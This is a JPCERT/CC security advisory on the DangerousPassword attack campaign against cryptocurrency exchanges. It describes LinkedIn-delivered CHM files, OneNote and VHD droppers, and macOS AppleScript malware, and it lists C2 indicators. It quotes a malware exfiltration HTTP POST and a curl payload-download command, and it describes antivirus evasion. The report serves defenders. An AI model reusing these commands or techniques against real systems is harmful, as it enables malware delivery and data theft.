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Attack Trends Related to DangerousPassword

May 12, 2023

JPCERT/CC has observed attacks on cryptocurrency exchanges believed to be related to DangerousPassword
attack campaign (also known as CryptoMimic or SnatchCrypto) continuously since June 2019. For many years,
attackers have been using an attack technique of infecting targets with malware by sending shortcut files to them via
email. However, it is known that they also use various other patterns of attacks to infect the targets with malware.
This article will describe the DangerousPassword’s attack technique observed recently. 

 The following four attack patterns are described in this report.

Attacks by sending malicious CHM files from LinkedIn
Attacks using OneNote files
Attacks using virtual hard disk files
Attacks targeting macOS

Attacks by sending malicious CHM files from LinkedIn

In addition to sending malware as email attachments, attackers may also contact the targets via LinkedIn and send
malware to them. Figure 1 shows how malware sent via LinkedIn can infect a host.

Figure 1: Flow of malware infection

The file sent via LinkedIn is compressed in RAR format and, when extracted, contains a Windows Help file (CHM
file). When this file is executed, it downloads and executes an external Windows Installer file (MSI file). The executed
MSI file uses a PowerShell script to download and execute an additional MSI file (Administrator-a214051.msi in
Figure 1; the file name is [user name of the user who executed it]-a[5 random digits]1.msi). This
MSI file has the ability to send information about infected hosts, and the information is sent by HTTP POST request
as shown below. The information is Base64 encoded.

POST /test.msi HTTP/1.1 

Connection: Keep-Alive 

Content-Type: application/x-www-form-urlencoded 

Accept: */* 

Accept-Language: ja-JP 

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 

Content-Length: [Size] 

Host: [Server name] 

VGltZToJV2VkIERl(...) 

Figure 2 shows a part of the malware code for collecting information about the infected host. You can see that it is
written in JScript.
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Figure 2: Part of the malware code

In addition, we have confirmed that the LinkedIn accounts that contact the target send malware disguising
themselves as those who offer jobs. Figure 3 shows the LinkedIn account that contacted a target, and we consider it
had been compromised by the attacker. We have not yet figured out how the attackers compromised SNS accounts
so far.

https://blogs.jpcert.or.jp/en/.assets/DangerousPassword-fig2.png
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Figure 3: Example of a LinkedIn account abused by an attacker

Attacks using OneNote files

The method of infecting malware by exploiting a OneNote file has also been confirmed in attacks that use Emotet and
other malware. This is becoming popular in the type of attacks that spread infection through email attachments.
DangerousPassword uses a similar attack technique: it sends a malware-embedded OneNote file as shown in Figure
4, and clicking on the icon that appears when viewing a OneNote file (the PDF icon in Figure 4) leads to the malware
infection.

Figure 4: Example OneNote file

The malware embedded in the OneNote file is an MSI file, which saves a DLL file on the host and executes it. The
DLL file downloads the malware using the curl command below.

curl -A cur1-agent -L [URL] -x [Proxy] -s -d dl 

This malware also has the function to detect antivirus software as shown in Figure 5.
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Figure 5: Part of the code that detects antivirus software

When the following antivirus software is detected, the malware changes its behavior: cancels the hook process to
NTDLL to bypass monitoring by the antivirus software [1], changes the data (dl or da) sent when executing curl
commands, and changes the way to execute downloaded malware (inject into Explorer or start using Rundll32).
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Bitdefender
Kaspersky
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Trend Micro
Windows Defender

Attacks using virtual hard disk files

Besides compressing malware in ZIP or RAR format or including it in an ISO file, attackers may also include it in a
virtual hard disk file (VHD file). VHD file is a format to use hard disks in Hyper-V, a virtualization technology, and it can
be mounted by double-clicking on Windows OS. Figure 6 shows a mounted VHD file containing malware. It contains
a decoy PDF file, the main malware (DLL file), and an executable file (EXE file) to start the DLL file.

Figure 6: Example of a mounted VHD file

The DLL file is malware that functions similarly to the malware contained in the OneNote file described above.

Attacks targeting macOS
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We have confirmed that the attackers are targeting not only Windows OS but also macOS. Figure 7 shows the file
structure of malware targeting macOS.

Figure 7: File structure of the malware

As shown in Figure 8, an AppleScript is contained, and it downloads an unauthorized application in main.scpt using
the curl command and then executes it.

Figure 8: Content of the malicious AppleScript

When the downloaded application is executed, a window as in Figure 9 appears. It has a function to XOR decode the
contents of the file to read, download a file from the decoded C2, and executes it (Figure 10).

Figure 9: Screen displayed when downloaded
malware is executed
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Figure 10: Part of the code to download a file

Please also refer to the jamf blog [2] for further information on the malware.

In closing

The APT actor DangerousPassword continues to conduct attacks against cryptocurrency exchanges in Japan. This
attack group may contact targets through LinkedIn, and so you should be careful when using SNS. Even when you
use macOS, you should also be careful since the attackers can target the OS as well. Please refer to the Appendix
for information on the C2 of the malware described in this report.

Shusei Tomonaga 
 (Translated by Takumi Nakano)
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Appendix A: C2

www.thecloudnet.org
azure.protection-service.cloud
verify.azure-protect.online
docs.azure-protection.cloud
secure.azure-protection.cloud
web.j-ic.co
cloud.dnx.capital
104.200.137.32
one.microshare.cloud
www.capmarketreport.com
safe.doc-share.cloud
openaibt.com
cloud.espcapital.pro
autoprotect.com.de
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Appendix B: Malware hash value
